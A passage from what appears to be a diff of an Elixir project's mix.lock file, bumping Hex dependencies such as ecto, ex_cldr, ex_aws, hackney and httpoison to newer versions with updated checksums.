"hexpm", optional: false]}, {:gettext, "~> 0.19", [hex: :gettext, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:nimble_parsec, "~> 0.5 or ~> 1.0", [hex: :nimble_parsec, repo: "hexpm", optional: true]}], "hexpm", "fd81a7147b4ed86c0c44c0251444cb8d1defccc7b33b89067ca1635f23e9fbf8"}, - "ex_cldr_currencies": {:hex, :ex_cldr_currencies, "2.14.1", "87102f426439264229854ded5b723a617bc194ca01dd53fa85afc28399faee1d", [:mix], [{:ex_cldr, "~> 2.27", [hex: :ex_cldr, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "da0a864ed43ade93c44d62170ea9c157c5abb20a01cc0270ac47cd51e045de00"}, - "ex_cldr_lists": {:hex, :ex_cldr_lists, "2.10.0", "4d4c9877da2d0417fd832907d69974e8328969f75fafc79b05ccf85f549f6281", [:mix], [{:ex_cldr_numbers, "~> 2.25", [hex: :ex_cldr_numbers, repo: "hexpm", optional: false]}, {:ex_doc, "~> 0.18", [hex: :ex_doc, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "adc040cde7b97f7fd7c0b35dd69ddb6fcf607303ae6355bb1851deae1f8b0652"}, - "ex_cldr_numbers": {:hex, :ex_cldr_numbers, "2.27.2", "d1400a0502fb66ab3abcce3d10d5d11efcfc786eafe1c442ea2ddf834670d743", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:digital_token, "~> 0.3 or ~> 1.0", [hex: :digital_token, repo: "hexpm", optional: false]}, {:ex_cldr, "~> 2.28", [hex: :ex_cldr, repo: "hexpm", optional: false]}, {:ex_cldr_currencies, "~> 2.13", [hex: :ex_cldr_currencies, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "f682f46193e1793a3a98cc636314e9bea483da0925eb47935a39c4feef79e364"}, - "ex_cldr_units": {:hex, :ex_cldr_units, "3.13.3", "886dbeb22c739ffbf574098cc889aa5fc0df9d27abb3412d700da051826fdb05", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:ex_cldr_lists, "~> 2.10", [hex: :ex_cldr_lists, repo: "hexpm", optional: false]}, {:ex_cldr_numbers, "~> 2.26", [hex: :ex_cldr_numbers, repo: "hexpm", optional: false]}, {:ex_doc, "~> 0.18", [hex: :ex_doc, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:ratio, "~> 2.4", [hex: :ratio, repo: "hexpm", optional: false]}], "hexpm", "2177d8070c5572b0e1e40271783c191c60f5075051ed95b488ec3b2bc157b23c"}, - "ex_doc": {:hex, :ex_doc, "0.28.5", "3e52a6d2130ce74d096859e477b97080c156d0926701c13870a4e1f752363279", [:mix], [{:earmark_parser, "~> 1.4.19", [hex: :earmark_parser, repo: "hexpm", optional: false]}, {:makeup_elixir, "~> 0.14", [hex: :makeup_elixir, repo: "hexpm", optional: false]}, {:makeup_erlang, "~> 0.1", [hex: :makeup_erlang, repo: "hexpm", optional: false]}], "hexpm", "d2c4b07133113e9aa3e9ba27efb9088ba900e9e51caa383919676afdf09ab181"}, - "ex_json_schema": {:hex, :ex_json_schema, "0.9.1", "1de550a267198aa833f4ad043b97241f2b0a3671bb5869581efef0f165b58694", [:mix], [{:decimal, "~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}], "hexpm", "7041222de29d33308cef68ec81da9025d141951197bd9bb6e49dc945d195cd69"}, - "ex_keccak": {:hex, :ex_keccak, "0.4.0", "4eb8620c8a20a546e2d297b5ce3de150a90db0fdc4ba1dd88c854ace9ee47603", [:mix], [{:rustler, "~> 0.24", [hex: :rustler, repo: "hexpm", optional: false]}], "hexpm", "209ec5591d3cf79f9bdcdedf39c3d7a1fb208321e2b6de2660801117ae386f10"}, - "ex_machina": {:hex, :ex_machina, "2.7.0", "b792cc3127fd0680fecdb6299235b4727a4944a09ff0fa904cc639272cd92dc7", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm", "419aa7a39bde11894c87a615c4ecaa52d8f107bbdd81d810465186f783245bf8"}, - "ex_rlp": {:hex, :ex_rlp, "0.5.4", "a517a68381305a6270b46a7e30484ed7aabb761da4b66c9bb396dd07ae969443", [:mix], [], "hexpm", "3a9dc788822ab84a832dff472574a09786fb1711beded29f9f3a8e7d23f7ca04"}, + "dialyxir": {:hex, :dialyxir, "1.4.6", "7cca478334bf8307e968664343cbdb432ee95b4b68a9cba95bdabb0ad5bdfd9a", [:mix], [{:erlex, ">= 0.2.7", [hex: :erlex, repo: "hexpm", optional: false]}], "hexpm", "8cf5615c5cd4c2da6c501faae642839c8405b49f8aa057ad4ae401cb808ef64d"}, + "digital_token": {:hex, :digital_token, "1.0.0", "454a4444061943f7349a51ef74b7fb1ebd19e6a94f43ef711f7dae88c09347df", [:mix], [{:cldr_utils, "~> 2.17", [hex: :cldr_utils, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "8ed6f5a8c2fa7b07147b9963db506a1b4c7475d9afca6492136535b064c9e9e6"}, + "dns": {:hex, :dns, "2.4.0", "44790a0375b28bdc7b59fc894460bfcb03ffeec4c5984e2c3e8b0797b1518327", [:mix], [], "hexpm", "e178e353c469820d02ba889d6a80d01c8c27b47dfcda4016a9cbc6218e3eed64"}, + "earmark_parser": {:hex, :earmark_parser, "1.4.44", "f20830dd6b5c77afe2b063777ddbbff09f9759396500cdbe7523efd58d7a339c", [:mix], [], "hexpm", "4778ac752b4701a5599215f7030989c989ffdc4f6df457c5f36938cc2d2a2750"}, + "ecto": {:hex, :ecto, "3.13.2", "7d0c0863f3fc8d71d17fc3ad3b9424beae13f02712ad84191a826c7169484f01", [:mix], [{:decimal, "~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "669d9291370513ff56e7b7e7081b7af3283d02e046cf3d403053c557894a0b3e"}, + "ecto_sql": {:hex, :ecto_sql, "3.13.2", "a07d2461d84107b3d037097c822ffdd36ed69d1cf7c0f70e12a3d1decf04e2e1", [:mix], [{:db_connection, "~> 2.4.1 or ~> 2.5", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.13.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.7", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.19 or ~> 1.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:tds, "~> 2.1.1 or ~> 2.2", [hex: :tds, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "539274ab0ecf1a0078a6a72ef3465629e4d6018a3028095dc90f60a19c371717"}, + "elixir_make": {:hex, :elixir_make, "0.9.0", "6484b3cd8c0cee58f09f05ecaf1a140a8c97670671a6a0e7ab4dc326c3109726", [:mix], [], "hexpm", "db23d4fd8b757462ad02f8aa73431a426fe6671c80b200d9710caf3d1dd0ffdb"}, + "erlex": {:hex, :erlex, "0.2.7", "810e8725f96ab74d17aac676e748627a07bc87eb950d2b83acd29dc047a30595", [:mix], [], "hexpm", "3ed95f79d1a844c3f6bf0cea61e0d5612a42ce56da9c03f01df538685365efb0"}, + "eternal": {:hex, :eternal, "1.2.2", "d1641c86368de99375b98d183042dd6c2b234262b8d08dfd72b9eeaafc2a1abd", [:mix], [], "hexpm", "2c9fe32b9c3726703ba5e1d43a1d255a4f3f2d8f8f9bc19f094c7cb1a7a9e782"}, + "evil_crc32c": {:hex, :evil_crc32c, "0.2.9", "9e4082418c4cc27c88869c1773f114f15a9257121ebb019037bea60c75c601d2", [:mix], [{:rustler, ">= 0.0.0", [hex: :rustler, repo: "hexpm", optional: true]}, {:rustler_precompiled, "~> 0.8", [hex: :rustler_precompiled, repo: "hexpm", optional: false]}], "hexpm", "86ba14f8aad0fe55eda0b57e79e3d8dffe39ea326b753eac12463ae2bec757bf"}, + "evision": {:hex, :evision, "0.2.14", "6005e44b38ea61a33109694c5b097d42e81c767723c55d0c230d9662d6c87987", [:make, :mix, :rebar3], [{:castore, "~> 0.1 or ~> 1.0", [hex: :castore, repo: "hexpm", optional: false]}, {:elixir_make, "~> 0.7", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:kino, "~> 0.11", [hex: :kino, repo: "hexpm", optional: true]}, {:nx, "~> 0.6", [hex: :nx, repo: "hexpm", optional: false]}, {:progress_bar, "~> 2.0 or ~> 3.0", [hex: :progress_bar, repo: "hexpm", optional: true]}], "hexpm", "630714395f2c242e488944b4c9c75a5de96cbb95d3cbb69f0525bdb3e0a88775"}, + "ex_abi": {:hex, :ex_abi, "0.8.3", "e01cbafd81008db9e8bc8ac0a4ae5bf08e86a2d82afdca242550269445b80e04", [:mix], [{:ex_keccak, "~> 0.7.6", [hex: :ex_keccak, repo: "hexpm", optional: true]}], "hexpm", "6349a10331c54a1e09865811f705913fa181bc75b4c9a2d326fd96e21bf60cd4"}, + "ex_aws": {:hex, :ex_aws, "2.5.11", "5646eaad701485505b78246b0cd406fde9b1619459a86e85b53398810d3d0bd3", [:mix], [{:configparser_ex, "~> 5.0", [hex: :configparser_ex, repo: "hexpm", optional: true]}, {:hackney, "~> 1.16", [hex: :hackney, repo: "hexpm", optional: true]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: true]}, {:jsx, "~> 2.8 or ~> 3.0", [hex: :jsx, repo: "hexpm", optional: true]}, {:mime, "~> 1.2 or ~> 2.0", [hex: :mime, repo: "hexpm", optional: false]}, {:req, "~> 0.5.10 or ~> 0.6 or ~> 1.0", [hex: :req, repo: "hexpm", optional: true]}, {:sweet_xml, "~> 0.7", [hex: :sweet_xml, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.3 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "7e16100ff93a118ef01c916d945969535cbe8d4ab6593fcf01d1cf854eb75345"}, + "ex_aws_s3": {:hex, :ex_aws_s3, "2.5.8", "5ee7407bc8252121ad28fba936b3b293f4ecef93753962351feb95b8a66096fa", [:mix], [{:ex_aws, "~> 2.0", [hex: :ex_aws, repo: "hexpm", optional: false]}, {:sweet_xml, ">= 0.0.0", [hex: :sweet_xml, repo: "hexpm", optional: true]}], "hexpm", "84e512ca2e0ae6a6c497036dff06d4493ffb422cfe476acc811d7c337c16691c"}, + "ex_brotli": {:hex, :ex_brotli, "0.5.0", "573645db5201317b6176b8858b668ea4ca89dc5c21852e84b9867579d483c220", [:mix], [{:phoenix, ">= 0.0.0", [hex: :phoenix, repo: "hexpm", optional: true]}, {:rustler, "~> 0.29", [hex: :rustler, repo: "hexpm", optional: true]}, {:rustler_precompiled, "~> 0.6", [hex: :rustler_precompiled, repo: "hexpm", optional: false]}], "hexpm", "8447d98d51f8f312629fd38619d4f564507dcf3a03d175c3f8f4ddf98e46dd92"}, + "ex_cldr": {:hex, :ex_cldr, "2.42.0", "17ea930e88b8802b330e1c1e288cdbaba52cbfafcccf371ed34b299a47101ffb", [:mix], [{:cldr_utils, "~> 2.28", [hex: :cldr_utils, repo: "hexpm", optional: false]}, {:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:gettext, "~> 0.19", [hex: :gettext, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:nimble_parsec, "~> 0.5 or ~> 1.0", [hex: :nimble_parsec, repo: "hexpm", optional: true]}], "hexpm", "07264a7225810ecae6bdd6715d8800c037a1248dc0063923cddc4ca3c4888df6"}, + "ex_cldr_currencies": {:hex, :ex_cldr_currencies, "2.16.4", "d76770690699b6ba91f1fa253a299a905f9c22b45d91891b85f431b9dafa8b3b", [:mix], [{:ex_cldr, "~> 2.38", [hex: :ex_cldr, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "46a67d1387f14e836b1a24d831fa5f0904663b4f386420736f40a7d534e3cb9e"}, + "ex_cldr_lists": {:hex, :ex_cldr_lists, "2.11.1", "ad18f861d7c5ca82aac6d173469c6a2339645c96790172ab0aa255b64fb7303b", [:mix], [{:ex_cldr_numbers, "~> 2.25", [hex: :ex_cldr_numbers, repo: "hexpm", optional: false]}, {:ex_doc, "~> 0.18", [hex: :ex_doc, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "00161c04510ccb3f18b19a6b8562e50c21f1e9c15b8ff4c934bea5aad0b4ade2"}, + "ex_cldr_numbers": {:hex, :ex_cldr_numbers, "2.35.1", "aa84601e604f6656b4bfb7f58a329328d2cbc13e4601da9071c14af38fc1d641", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:digital_token, "~> 0.3 or ~> 1.0", [hex: :digital_token, repo: "hexpm", optional: false]}, {:ex_cldr, "~> 2.42", [hex: :ex_cldr, repo: "hexpm", optional: false]}, {:ex_cldr_currencies, "~> 2.16", [hex: :ex_cldr_currencies, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "925c25debb0a4d27b3559885a79fb66dd4ebb6b72ce46b1e971db647042e28a0"}, + "ex_cldr_units": {:hex, :ex_cldr_units, "3.19.0", "9b03c90f53e1f93c33aa80923da7d78ac79f3aba11f2ed40218b6008cb8c0ecc", [:mix], [{:cldr_utils, "~> 2.25", [hex: :cldr_utils, repo: "hexpm", optional: false]}, {:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:ex_cldr_lists, "~> 2.10", [hex: :ex_cldr_lists, repo: "hexpm", optional: false]}, {:ex_cldr_numbers, "~> 2.35.0", [hex: :ex_cldr_numbers, repo: "hexpm", optional: false]}, {:ex_doc, "~> 0.18", [hex: :ex_doc, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "2795f250aaafd573d067e8de346fbfb6a33810182e1b61747d127867e83259fa"}, + "ex_doc": {:hex, :ex_doc, "0.38.3", "ddafe36b8e9fe101c093620879f6604f6254861a95133022101c08e75e6c759a", [:mix], [{:earmark_parser, "~> 1.4.44", [hex: :earmark_parser, repo: "hexpm", optional: false]}, {:makeup_c, ">= 0.1.0", [hex: :makeup_c, repo: "hexpm", optional: true]}, {:makeup_elixir, "~> 0.14 or ~> 1.0", [hex: :makeup_elixir, repo: "hexpm", optional: false]}, {:makeup_erlang, "~> 0.1 or ~> 1.0", [hex: :makeup_erlang, repo: "hexpm", optional: false]}, {:makeup_html, ">= 0.1.0", [hex: :makeup_html, repo: "hexpm", optional: true]}], "hexpm", "ecaa785456a67f63b4e7d7f200e8832fa108279e7eb73fd9928e7e66215a01f9"}, + "ex_eth_bls": {:hex, :ex_eth_bls, "0.1.0", "33c2bf424b360e4b64d7630dd72ec028dac63df56802d0a14ade54a23ad1c743", [:mix], [{:rustler, ">= 0.0.0", [hex: :rustler, repo: "hexpm", optional: true]}, {:rustler_precompiled, "~> 0.8", [hex: :rustler_precompiled, repo: "hexpm", optional: false]}], "hexpm", "25f6ffc36de4952e55adff1c712f0b9680850773678550f1da970d4d18329365"}, + "ex_hash_ring": {:hex, :ex_hash_ring, "6.0.4", "bef9d2d796afbbe25ab5b5a7ed746e06b99c76604f558113c273466d52fa6d6b", [:mix], [], "hexpm", "89adabf31f7d3dfaa36802ce598ce918e9b5b33bae8909ac1a4d052e1e567d18"}, + "ex_json_schema": {:hex, :ex_json_schema, "0.11.1", "b593f92937a095f66054bb318681397dfe7304e7d2b6b1a7534ea3aa40024f8c", [:mix], [{:decimal, "~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}], "hexpm", "32d651a575a6ce2fd613f140b0fef8dd0acc7cf8e8bcd29a3a1be5c945700dd5"}, + "ex_keccak": {:hex, :ex_keccak, "0.7.8", "be1cf194d3158f0a305eaed0334e478d0d0f2c827e7c1f8f0e1e2a667da5a8ac", [:mix], [{:rustler, ">= 0.0.0", [hex: :rustler, repo: "hexpm", optional: true]}, {:rustler_precompiled, "~> 0.8", [hex: :rustler_precompiled, repo: "hexpm", optional: false]}], "hexpm", "52de5b42b718df2534fb9a55780d8a05bbaea539f867c3e7c0a8e7e1d5f149d9"}, + "ex_machina": {:hex, :ex_machina, "2.8.0", "a0e847b5712065055ec3255840e2c78ef9366634d62390839d4880483be38abe", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm", "79fe1a9c64c0c1c1fab6c4fa5d871682cb90de5885320c187d117004627a7729"}, + "ex_pbkdf2": {:hex, :ex_pbkdf2, "0.8.5", "583733a1134a0c8b4df70c6b3e874d1896bf48f2aaafdf332ec5480c7b5117bf", [:mix], [{:rustler, ">= 0.0.0", [hex: :rustler, repo: "hexpm", optional: true]}, {:rustler_precompiled, "~> 0.8", [hex: :rustler_precompiled, repo: "hexpm", optional: false]}], "hexpm", "f138b2acdc5a4d87880e42742e9bead4d1235fd9b1b2b29be0d1da1e01c3a312"}, + "ex_rlp": {:hex, :ex_rlp, "0.6.0", "985391d2356a7cb8712a4a9a2deb93f19f2fbca0323f5c1203fcaf64d077e31e", [:mix], [], "hexpm", "7135db93b861d9e76821039b60b00a6a22d2c4e751bf8c444bffe7a042f1abaf"}, + "ex_secp256k1": {:hex, :ex_secp256k1, "0.7.6", "49ea3b07dbc55e2b339e2cd54c6fcb3434620e2de1dfbb4b4f41351384119579", [:mix], [{:rustler, ">= 0.0.0", [hex: :rustler, repo: "hexpm", optional: true]}, {:rustler_precompiled, "~> 0.8", [hex: :rustler_precompiled, repo: "hexpm", optional: false]}], "hexpm", "b84c9c4d85b47410cd951222b4d2b644cdbff96f4f83bc5ac96ee15d850a113c"}, "ex_utils": {:hex, :ex_utils, "0.1.7", "2c133e0bcdc49a858cf8dacf893308ebc05bc5fba501dc3d2935e65365ec0bf3", [:mix], [], "hexpm", "66d4fe75285948f2d1e69c2a5ddd651c398c813574f8d36a9eef11dc20356ef6"}, "exactor": {:hex, :exactor, "2.2.4", "5efb4ddeb2c48d9a1d7c9b465a6fffdd82300eb9618ece5d34c3334d5d7245b1", [:mix], [], "hexpm", "1222419f706e01bfa1095aec9acf6421367dcfab798a6f67c54cf784733cd6b5"}, "exjsx": {:hex, :exjsx, "4.0.0", "60548841e0212df401e38e63c0078ec57b33e7ea49b032c796ccad8cde794b5c", [:mix], [{:jsx, "~> 2.8.0", [hex: :jsx, repo: "hexpm", optional: false]}], "hexpm", "32e95820a97cffea67830e91514a2ad53b888850442d6d395f53a1ac60c82e07"}, - "exvcr": {:hex, :exvcr, "0.13.3", "fcd5f54ea0ebd41db7fe16701f3c67871d1b51c3c104ab88f11135a173d47134", [:mix], [{:exactor, "~> 2.2", [hex: :exactor, repo: "hexpm", optional: false]}, {:exjsx, "~> 4.0", [hex: :exjsx, repo: "hexpm", optional: false]}, {:finch, "~> 0.8", [hex: :finch, repo: "hexpm", optional: true]}, {:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: true]}, {:httpotion, "~> 3.1", [hex: :httpotion, repo: "hexpm", optional: true]}, {:ibrowse, "4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:meck, "~> 0.8", [hex: :meck, repo: "hexpm", optional: false]}], "hexpm", "db61057447388b7adc4443a55047d11d09acc75eeb5548507c775a8402e02689"}, + "expo": {:hex, :expo, "1.1.0", "f7b9ed7fb5745ebe1eeedf3d6f29226c5dd52897ac67c0f8af62a07e661e5c75", [:mix], [], "hexpm", "fbadf93f4700fb44c331362177bdca9eeb8097e8b0ef525c9cc501cb9917c960"}, + "exvcr": {:hex, :exvcr, "0.16.0", "11579f43c88ae81f57c82ce4f09e3ebda4c40117c859ed39e61a653c3a0b4ff4", [:mix], [{:exjsx, "~> 4.0", [hex: :exjsx, repo: "hexpm", optional: false]}, {:finch, "~> 0.16", [hex: :finch, repo: "hexpm", optional: true]}, {:httpoison, "~> 1.0 or ~> 2.0", [hex: :httpoison, repo: "hexpm", optional: true]}, {:httpotion, "~> 3.1", [hex: :httpotion, repo: "hexpm", optional: true]}, {:ibrowse, "4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:meck, "~> 0.9", [hex: :meck, repo: "hexpm", optional: false]}], "hexpm", "8f576af22369942f7a1482baff1f31e2f45983cf6fac45d49d2bd2e84b4d5be8"}, + "ezstd": {:hex, :ezstd, "1.2.2", "9d286f6727409260970bc08582cffec9a80a61d51cd9effa2b52fde5a333a2c6", [:rebar3], [], "hexpm", "6fcadd8bf64ab40e345c1e23f3c2aac12592813364c517f35a2139fab94e145e"}, "file_info": {:hex, :file_info, "0.0.4", "2e0e77f211e833f38ead22cb29ce53761d457d80b3ffe0ffe0eb93880b0963b2", [:mix], [{:mimetype_parser, "~> 0.1.2", [hex: :mimetype_parser, repo: "hexpm", optional: false]}], "hexpm", "50e7ad01c2c8b9339010675fe4dc4a113b8d6ca7eddce24d1d74fd0e762781a5"}, "file_system": {:hex, :file_system, "0.2.10", "fb082005a9cd1711c05b5248710f8826b02d7d1784e7c3451f9c1231d4fc162d", [:mix], [], "hexpm", "41195edbfb562a593726eda3b3e8b103a309b733ad25f3d642ba49696bf715dc"}, - "floki": {:hex, :floki, "0.33.1", "f20f1eb471e726342b45ccb68edb9486729e7df94da403936ea94a794f072781", [:mix], [{:html_entities, "~> 0.5.0", [hex: :html_entities, repo: "hexpm", optional: false]}], "hexpm", "461035fd125f13fdf30f243c85a0b1e50afbec876cbf1ceefe6fddd2e6d712c6"}, - "flow": {:hex, :flow, "1.2.0", "515e03aa3d056cecc3e3f1e80f6ca4bbf5f45b13c88dee5db880b2f3f24f1caa", [:mix], [{:gen_stage, "~> 1.0", [hex: :gen_stage, repo: "hexpm", optional: false]}], "hexpm", "1b45bfc8a9202c5ec80b077c21df133561e56c56189ba4082dddccb6b5762525"}, - "gen_stage": {:hex, :gen_stage, "1.1.2", "b1656cd4ba431ed02c5656fe10cb5423820847113a07218da68eae5d6a260c23", [:mix], [], "hexpm", "9e39af23140f704e2b07a3e29d8f05fd21c2aaf4088ff43cb82be4b9e3148d02"}, - "gettext": {:hex, :gettext, "0.20.0", "75ad71de05f2ef56991dbae224d35c68b098dd0e26918def5bb45591d5c8d429", [:mix], [], "hexpm", "1c03b177435e93a47441d7f681a7040bd2a816ece9e2666d1c9001035121eb3d"}, - "hackney": {:hex, :hackney, "1.18.1", "f48bf88f521f2a229fc7bae88cf4f85adc9cd9bcf23b5dc8eb6a1788c662c4f6", [:rebar3], [{:certifi, "~>2.9.0", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "~>6.1.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "~>1.0.0", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:parse_trans, "3.3.1", [hex: :parse_trans, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "~>1.1.0", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}, {:unicode_util_compat, "~>0.7.0", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm", "a4ecdaff44297e9b5894ae499e9a070ea1888c84afdd1fd9b7b2bc384950128e"}, - "hammer": {:hex, :hammer, "6.1.0", "f263e3c3e9946bd410ea0336b2abe0cb6260af4afb3a221e1027540706e76c55", [:make, :mix], [{:poolboy, "~> 1.5", [hex: :poolboy, repo: "hexpm", optional: false]}], "hexpm", "b47e415a562a6d072392deabcd58090d8a41182cf9044cdd6b0d0faaaf68ba57"}, + "finch": {:hex, :finch, "0.18.0", "944ac7d34d0bd2ac8998f79f7a811b21d87d911e77a786bc5810adb75632ada4", [:mix], [{:castore, "~> 0.1 or ~> 1.0", [hex: :castore, repo: "hexpm", optional: false]}, {:mime, "~> 1.0 or ~> 2.0", [hex: :mime, repo: "hexpm", optional: false]}, {:mint, "~> 1.3", [hex: :mint, repo: "hexpm", optional: false]}, {:nimble_options, "~> 0.4 or ~> 1.0", [hex: :nimble_options, repo: "hexpm", optional: false]}, {:nimble_pool, "~> 0.2.6 or ~> 1.0", [hex: :nimble_pool, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "69f5045b042e531e53edc2574f15e25e735b522c37e2ddb766e15b979e03aa65"}, + "floki": {:hex, :floki, "0.38.0", "62b642386fa3f2f90713f6e231da0fa3256e41ef1089f83b6ceac7a3fd3abf33", [:mix], [], "hexpm", "a5943ee91e93fb2d635b612caf5508e36d37548e84928463ef9dd986f0d1abd9"}, + "flow": {:hex, :flow, "1.2.4", "1dd58918287eb286656008777cb32714b5123d3855956f29aa141ebae456922d", [:mix], [{:gen_stage, "~> 1.0", [hex: :gen_stage, repo: "hexpm", optional: false]}], "hexpm", "874adde96368e71870f3510b91e35bc31652291858c86c0e75359cbdd35eb211"}, + "gen_stage": {:hex, :gen_stage, "1.2.1", "19d8b5e9a5996d813b8245338a28246307fd8b9c99d1237de199d21efc4c76a1", [:mix], [], "hexpm", "83e8be657fa05b992ffa6ac1e3af6d57aa50aace8f691fcf696ff02f8335b001"}, + "gettext": {:hex, :gettext, "0.26.2", "5978aa7b21fada6deabf1f6341ddba50bc69c999e812211903b169799208f2a8", [:mix], [{:expo, "~> 0.5.1 or ~> 1.0", [hex: :expo, repo: "hexpm", optional: false]}], "hexpm", "aa978504bcf76511efdc22d580ba08e2279caab1066b76bb9aa81c4a1e0a32a5"}, + "hackney": {:hex, :hackney, "1.25.0", "390e9b83f31e5b325b9f43b76e1a785cbdb69b5b6cd4e079aa67835ded046867", [:rebar3], [{:certifi, "~> 2.15.0", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "~> 6.1.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "~> 1.0.0", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~> 1.4", [hex: :mimerl, repo: "hexpm", optional: false]}, {:parse_trans, "3.4.1", [hex: :parse_trans, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "~> 1.1.0", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}, {:unicode_util_compat, "~> 0.7.1", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm", "7209bfd75fd1f42467211ff8f59ea74d6f2a9e81cbcee95a56711ee79fd6b1d4"}, + "hammer": {:hex, :hammer, "7.1.0", "9b55acd9951035f330aa1556e575e72d93334e8732daf5f2f602793d16008fe9", [:mix], [], "hexpm", "0ef3f0b9b92ae10a01604ca58adc2bfc8df0af4414a3afcf2dd79e256bc94c17"}, + "hammer_backend_redis": {:hex, :hammer_backend_redis, "7.1.0", "b1e3d5d9cb9a549d90109d17c12eb0c57ffe4658163e597542ad77c3c5464a46", [:mix], [{:hammer, "~> 7.0", [hex: :hammer, repo: "hexpm", optional: false]}, {:redix, "~> 1.5", [hex: :redix, repo: "hexpm", optional: false]}], "hexpm", "b0c22a0121a293002c09f415fc3a04e153c993db8702b4320b1aa9a6edd6de1a"}, + "hpax": {:hex, :hpax, "1.0.3", "ed67ef51ad4df91e75cc6a1494f851850c0bd98ebc0be6e81b026e765ee535aa", [:mix], [], "hexpm", "8eab6e1cfa8d5918c2ce4ba43588e894af35dbd8e91e6e55c817bca5847df34a"}, "html_entities": {:hex, :html_entities, "0.5.2", "9e47e70598da7de2a9ff6af8758399251db6dbb7eebe2b013f2bbd2515895c3c", [:mix], [], "hexpm", "c53ba390403485615623b9531e97696f076ed415e8d8058b1dbaa28181f4fdcc"}, - "httpoison": {:hex, :httpoison, "1.8.2", "9eb9c63ae289296a544842ef816a85d881d4a31f518a0fec089aaa744beae290", [:mix], [{:hackney, "~> 1.17", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "2bb350d26972e30c96e2ca74a1aaf8293d61d0742ff17f01e0279fef11599921"}, + "httpoison": {:hex, :httpoison, "2.2.3", "a599d4b34004cc60678999445da53b5e653630651d4da3d14675fedc9dd34bd6", [:mix], [{:hackney, "~> 1.21", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "fa0f2e3646d3762fdc73edb532104c8619c7636a6997d20af4003da6cfc53e53"}, "idna": {:hex, :idna, "6.1.1", "8a63070e9f7d0c62eb9d9fcb360a7de382448200fbbd1b106cc96d3d8099df8d", [:rebar3], [{:unicode_util_compat, "~>0.7.0", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm", "92376eb7894412ed19ac475e4a86f7b413c1b9fbb5bd16dccd57934157944cea"}, - "jason": {:hex, :jason, "1.3.0", "fa6b82a934feb176263ad2df0dbd91bf633d4a46ebfdffea0c8ae82953714946", [:mix], [{:decimal, "~> 1.0 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm", 